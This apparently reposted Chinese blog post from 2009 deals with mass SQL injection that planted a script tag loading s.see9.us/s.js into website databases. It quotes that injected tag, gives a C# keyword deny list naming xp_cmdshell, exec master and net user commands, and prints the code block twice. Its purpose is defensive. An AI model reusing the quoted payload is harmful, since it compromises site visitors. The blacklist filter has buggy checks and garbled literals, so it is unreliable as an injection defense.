asp,.net防注入程序及代码(s.see9.us挂马解决方法)
2009-03-27 14:12
330 查看
最近很多网站数据库被挂马,出现类似 "> </title> <script src=http://s.see9.us/s.js> </script> 的字符,现在给大家提供asp和.net的解决方法
C#防注检查代码
/// <summary>
/// 防注入字符串检查
/// </summary>
/// <param name= "str "> 待检查的字符串 </param>
/// <returns> </returns>
public static bool StringCheck(string str)
{
if (str.Trim() == " " || str == null)
{
return true;
}
else
{
Regex re = new Regex(@ "\s ");
str = re.Replace(str.Replace( "%20 ", " "), " ");
string pattern = @ "select |insert |delete from |count\(|drop table|update |truncate |asc\(|mid\(|char\(|xp_cmdshell|exec master|net localgroup administrators|:|net user| " "|\ '| or ";
if (Regex.IsMatch(str, pattern))
{
return false;
}
else
{
return true;
}
}
}
C#防注检查代码
/// <summary>
/// 防注入字符串检查
/// </summary>
/// <param name= "str "> 待检查的字符串 </param>
/// <returns> </returns>
public static bool StringCheck(string str)
{
if (str.Trim() == " " || str == null)
{
return true;
}
else
{
Regex re = new Regex(@ "\s ");
str = re.Replace(str.Replace( "%20 ", " "), " ");
string pattern = @ "select |insert |delete from |count\(|drop table|update |truncate |asc\(|mid\(|char\(|xp_cmdshell|exec master|net localgroup administrators|:|net user| " "|\ '| or ";
if (Regex.IsMatch(str, pattern))
{
return false;
}
else
{
return true;
}
}
}
相关文章推荐
- .net程序出现没有对Temporary ASP.NET Files”的写访问权限解决方法
- .net程序出现没有对Temporary ASP.NET Files”的写访问权限解决方法
- 【.Net码农】Asp.Net异常:"由于代码已经过优化或者本机框架位于调用堆栈之上,无法计算表达式的值"的解决方法
- 64位Windows Server 2008下.Net程序运行崩溃,错误代码“80131506”的解决方法
- IIS的ASP程序不能浏览的解决方法
- asp.net程序在调式和发布之间图片路径问题的解决方法
- windows命令行下随时随地调用csc编译器的方法(解决dos下编译.net程序找不到CSC的问题)
- 2003下不能运行asp程序的彻底解决方法
- .Net程序防止被注入代码(整站通用)分享
- .net 程序发布后xml文件找不到的两种解决方法
- COM+应用程序错误(错误代码8004E00F)COM+ 无法与 Microsoft 分布式事务协调程序交谈的解决方法
- Asp.Net异常:"由于代码已经过优化或者本机框架位于调用堆栈之上,无法计算表达式的值"的解决方法
- asp.net程序编译调试时偶尔出现访问被拒绝的错误的解决方法
- asp.net LC.exe已退出代码为 -1的原因分析及解决方法
- IIS运行asp程序出现The requested resource is in use 和 安装.net 2.0 后运行2.0程序出现 Failed to access IIS metabase 错误的解决
- Win2003下asp程序运行的四大问题及解决方法
- 正试图在 os 加载程序锁内执行托管代码。不要尝试在 DllMain 或映像初始化函数内运行托管代码,这样做会导致应用程序挂起。问题的解决方法!
- 关于 Asp 程序的 Server.CreateObject 错误解决方法
- Asp.Net异常:"由于代码已经过优化或者本机框架位于调用堆栈之上,无法计算表达式的值"的解决方法